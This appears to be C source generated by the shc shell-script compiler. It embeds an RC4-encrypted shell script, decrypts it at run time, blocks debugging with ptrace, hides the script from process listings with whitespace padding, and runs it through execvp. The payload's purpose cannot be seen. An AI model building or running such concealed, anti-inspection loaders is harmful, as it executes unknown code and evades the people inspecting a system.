anak10thn.c

#if 0
	anak10thn 
#endif

static  char data [] = 
#define      inlo_z	3
#define      inlo	((&data[0]))
	"\144\210\134"
#define      shll_z	10
#define      shll	((&data[5]))
	"\120\114\346\071\235\052\050\327\204\311\245\365"
#define      lsto_z	1
#define      lsto	((&data[15]))
	"\173"
#define      pswd_z	256
#define      pswd	((&data[20]))
	"\225\365\200\022\176\157\040\133\221\361\311\240\156\225\252\165"
	"\264\162\220\026\041\053\152\351\150\324\140\224\024\070\364\332"
	"\274\173\164\073\352\225\226\174\206\140\034\365\365\306\152\252"
	"\071\373\300\132\047\053\103\217\377\244\044\023\334\031\356\231"
	"\224\143\324\177\370\152\373\177\313\030\164\301\337\337\153\030"
	"\332\054\162\001\127\265\221\126\131\266\152\066\317\130\317\144"
	"\274\244\343\264\017\337\063\332\367\247\233\326\206\007\356\141"
	"\063\141\143\213\026\365\341\160\253\114\247\173\245\166\337\141"
	"\033\303\025\052\243\111\004\232\361\240\161\170\247\137\331\333"
	"\300\075\146\327\062\110\110\336\224\357\131\072\146\071\233\201"
	"\374\261\253\237\372\260\072\354\121\253\144\370\013\075\323\314"
	"\172\071\244\255\202\354\213\026\334\344\120\102\035\354\303\032"
	"\235\157\272\230\040\365\204\161\241\350\152\254\046\076\171\241"
	"\170\035\116\372\012\331\021\346\276\142\050\334\116\354\366\354"
	"\134\261\204\175\246\011\357\107\362\131\364\030\227\155\271\017"
	"\213\010\011\225\342\033\174\240\175\245\174\313\222\163\267\356"
	"\044\074\154\313\225\376\267\021\311\111\205\201\070\251\276\245"
	"\164\004\000\207\074\265\216\215\002\003\227\136\003"
#define      rlax_z	1
#define      rlax	((&data[301]))
	"\160"
#define      msg2_z	19
#define      msg2	((&data[303]))
	"\065\333\352\244\222\262\004\114\236\321\177\157\317\027\142\025"
	"\267\162\143\246\103\143\107"
#define      msg1_z	42
#define      msg1	((&data[332]))
	"\217\345\166\115\213\352\122\363\200\313\235\224\233\222\215\164"
	"\172\026\101\331\134\321\311\110\002\275\322\164\112\230\352\137"
	"\250\272\111\217\345\113\371\303\307\242\007\153\173\224\152\120"
	"\246\213\162\217\101\000\034\104\003"
#define      opts_z	1
#define      opts	((&data[382]))
	"\360"
#define      xecc_z	15
#define      xecc	((&data[384]))
	"\377\270\203\360\152\156\125\372\154\224\034\134\356\326\056\267"
	"\254\113"
#define      tst1_z	22
#define      tst1	((&data[406]))
	"\173\375\133\107\215\132\160\315\233\241\075\130\204\373\330\272"
	"\162\221\277\330\175\132\076\057\224\370\057\101\276\332\314"
#define      text_z	287
#define      text	((&data[444]))
	"\033\274\232\034\330\336\040\214\200\047\354\350\067\141\343\251"
	"\250\060\125\300\145\160\231\030\344\311\357\172\173\275\362\333"
	"\011\105\300\356\300\146\351\310\306\244\034\326\103\365\053\005"
	"\171\201\247\350\016\321\206\201\212\301\240\324\143\136\017\156"
	"\020\167\236\131\247\322\223\147\016\370\234\306\060\245\316\167"
	"\107\313\047\367\125\222\330\346\006\360\206\000\263\337\004\320"
	"\310\320\342\102\323\312\276\104\012\370\153\213\303\206\040\264"
	"\241\174\263\052\002\176\230\226\142\301\116\226\333\375\316\235"
	"\203\144\267\301\146\010\126\100\071\034\146\372\160\266\315\240"
	"\103\270\362\247\061\337\322\136\116\343\334\265\273\312\066\007"
	"\332\335\272\315\266\157\134\214\163\211\060\105\035\141\066\342"
	"\176\201\373\172\032\373\317\303\055\271\266\002\103\113\145\146"
	"\210\303\001\122\130\275\231\274\135\210\060\322\152\007\310\263"
	"\243\010\352\213\141\120\044\165\263\154\141\371\052\102\345\101"
	"\246\316\301\053\127\154\053\200\300\327\160\016\122\355\153\111"
	"\041\246\257\223\325\056\150\131\037\234\103\004\253\012\203\155"
	"\164\174\147\265\151\235\155\224\074\027\330\070\246\004\344\251"
	"\236\374\164\150\345\126\131\216\077\141\201\224\000\353\360\221"
	"\336\366\314\037\200\247\231\141\252\113\131\307\353\224\023\037"
	"\205\302\233\202\035\343\017\137\241\352\054\112\027\204\145\323"
	"\036\201\254"
#define      chk2_z	19
#define      chk2	((&data[758]))
	"\176\311\045\310\252\363\024\161\224\151\020\361\140\072\122\054"
	"\173\101\211\341\327\125\146"
#define      chk1_z	22
#define      chk1	((&data[778]))
	"\313\364\166\336\077\301\244\150\002\030\166\355\171\366\243\247"
	"\317\071\327\004\232\141\244\060\200\146\313"
#define      date_z	1
#define      date	((&data[805]))
	"\302"
#define      tst2_z	19
#define      tst2	((&data[810]))
	"\375\017\233\025\344\243\346\321\166\001\247\331\242\037\374\320"
	"\315\200\163\056\053\122\046\224"/* End of data[] */;
#define      hide_z	4096
#define DEBUGEXEC	0	/* Define as 1 to debug execvp calls */
#define TRACEABLE	0	/* Define as 1 to enable ptrace the executable */



#include <sys/stat.h>
#include <sys/types.h>

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>


static unsigned char stte[256], indx, jndx, kndx;


void stte_0(void)
{
	indx = jndx = kndx = 0;
	do {
		stte[indx] = indx;
	} while (++indx);
}


void key(void * str, int len)
{
	unsigned char tmp, * ptr = (unsigned char *)str;
	while (len > 0) {
		do {
			tmp = stte[indx];
			kndx += tmp;
			kndx += ptr[(int)indx % len];
			stte[indx] = stte[kndx];
			stte[kndx] = tmp;
		} while (++indx);
		ptr += 256;
		len -= 256;
	}
}

void arc4(void * str, int len)
{
	unsigned char tmp, * ptr = (unsigned char *)str;
	while (len > 0) {
		indx++;
		tmp = stte[indx];
		jndx += tmp;
		stte[indx] = stte[jndx];
		stte[jndx] = tmp;
		tmp += stte[indx];
		*ptr ^= stte[tmp];
		ptr++;
		len--;
	}
}


int key_with_file(char * file)
{
	struct stat statf[1];
	struct stat control[1];

	if (stat(file, statf) < 0)
		return -1;

	memset(control, 0, sizeof(control));
	control->st_ino = statf->st_ino;
	control->st_dev = statf->st_dev;
	control->st_rdev = statf->st_rdev;
	control->st_uid = statf->st_uid;
	control->st_gid = statf->st_gid;
	control->st_size = statf->st_size;
	control->st_mtime = statf->st_mtime;
	control->st_ctime = statf->st_ctime;
	key(control, sizeof(control));
	return 0;
}

#if DEBUGEXEC
void debugexec(char * sh11, int argc, char ** argv)
{
	int i;
	fprintf(stderr, "shll=%s\n", sh11 ? sh11 : "<null>");
	fprintf(stderr, "argc=%d\n", argc);
	if (!argv) {
		fprintf(stderr, "argv=<null>\n");
	} else { 
		for (i = 0; i <= argc ; i++)
			fprintf(stderr, "argv[%d]=%.60s\n", i, argv[i] ? argv[i] : "<null>");
	}
}
#endif 

void rmarg(char ** argv, char * arg)
{
	for (; argv && *argv && *argv != arg; argv++);
	for (; argv && *argv; argv++)
		*argv = argv[1];
}

int chkenv(int argc)
{
	char buff[512];
	unsigned long mask, m;
	int l, a, c;
	char * string;
	extern char ** environ;

	mask  = (unsigned long)&chkenv;
	mask ^= (unsigned long)getpid() * ~mask;
	sprintf(buff, "x%lx", mask);
	string = getenv(buff);
#if DEBUGEXEC
	fprintf(stderr, "getenv(%s)=%s\n", buff, string ? string : "<null>");
#endif
	l = strlen(buff);
	if (!string) {
		/* 1st */
		sprintf(&buff[l], "=%lu %d", mask, argc);
		putenv(strdup(buff));
		return 0;
	}
	c = sscanf(string, "%lu %d%c", &m, &a, buff);
	if (c == 2 && m == mask) {
		/* 3rd */
		rmarg(environ, &string[-l - 1]);
		return 1 + (argc - a);
	}
	return -1;
}

#if !TRACEABLE

#define _LINUX_SOURCE_COMPAT
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <unistd.h>

#if !defined(PTRACE_ATTACH) && defined(PT_ATTACH)
#	define PTRACE_ATTACH	PT_ATTACH
#endif
void untraceable(char * argv0)
{
	char proc[80];
	int pid, mine;

	switch(pid = fork()) {
	case  0:
		pid = getppid();

#if defined(__FreeBSD__)
		sprintf(proc, "/proc/%d/mem", (int)pid);
#else
		sprintf(proc, "/proc/%d/as",  (int)pid);
#endif
		close(0);
		mine = !open(proc, O_RDWR|O_EXCL);
		if (!mine && errno != EBUSY)
			mine = !ptrace(PTRACE_ATTACH, pid, 0, 0);
		if (mine) {
			kill(pid, SIGCONT);
		} else {
			perror(argv0);
			kill(pid, SIGKILL);
		}
		_exit(mine);
	case -1:
		break;
	default:
		if (pid == waitpid(pid, 0, 0))
			return;
	}
	perror(argv0);
	_exit(1);
}
#endif 

char * xsh(int argc, char ** argv)
{
	char * scrpt;
	int ret, i, j;
	char ** varg;
	char * me = getenv("_");
	if (me == NULL) { me = argv[0]; }

	stte_0();
	 key(pswd, pswd_z);
	arc4(msg1, msg1_z);
	arc4(date, date_z);
	if (date[0] && (atoll(date)<time(NULL)))
		return msg1;
	arc4(shll, shll_z);
	arc4(inlo, inlo_z);
	arc4(xecc, xecc_z);
	arc4(lsto, lsto_z);
	arc4(tst1, tst1_z);
	 key(tst1, tst1_z);
	arc4(chk1, chk1_z);
	if ((chk1_z != tst1_z) || memcmp(tst1, chk1, tst1_z))
		return tst1;
	ret = chkenv(argc);
	arc4(msg2, msg2_z);
	if (ret < 0)
		return msg2;
	varg = (char **)calloc(argc + 10, sizeof(char *));
	if (!varg)
		return 0;
	if (ret) {
		arc4(rlax, rlax_z);
		if (!rlax[0] && key_with_file(shll))
			return shll;
		arc4(opts, opts_z);
		arc4(text, text_z);
		arc4(tst2, tst2_z);
		 key(tst2, tst2_z);
		arc4(chk2, chk2_z);
		if ((chk2_z != tst2_z) || memcmp(tst2, chk2, tst2_z))
			return tst2;
		scrpt = malloc(hide_z + text_z);
		if (!scrpt)
			return 0;
		memset(scrpt, (int) ' ', hide_z);
		memcpy(&scrpt[hide_z], text, text_z);
	} else {	
		if (*xecc) {
			scrpt = malloc(512);
			if (!scrpt)
				return 0;
			sprintf(scrpt, xecc, me);
		} else {
			scrpt = me;
		}
	}
	j = 0;
	varg[j++] = argv[0];		
	if (ret && *opts)
		varg[j++] = opts;	
	if (*inlo)
		varg[j++] = inlo;	
	varg[j++] = scrpt;		
	if (*lsto)
		varg[j++] = lsto;	
	i = (ret > 1) ? ret : 0;	
	while (i < argc)
		varg[j++] = argv[i++];	
	varg[j] = 0;			
#if DEBUGEXEC
	debugexec(shll, j, varg);
#endif
	execvp(shll, varg);
	return shll;
}

int main(int argc, char ** argv)
{
#if DEBUGEXEC
	debugexec("main", argc, argv);
#endif
#if !TRACEABLE
	untraceable(argv[0]);
#endif
	argv[1] = xsh(argc, argv);
	fprintf(stderr, "%s%s%s: %s\n", argv[0],
		errno ? ": " : "",
		errno ? strerror(errno) : "",
		argv[1] ? argv[1] : "<null>"
	);
	return 1;
}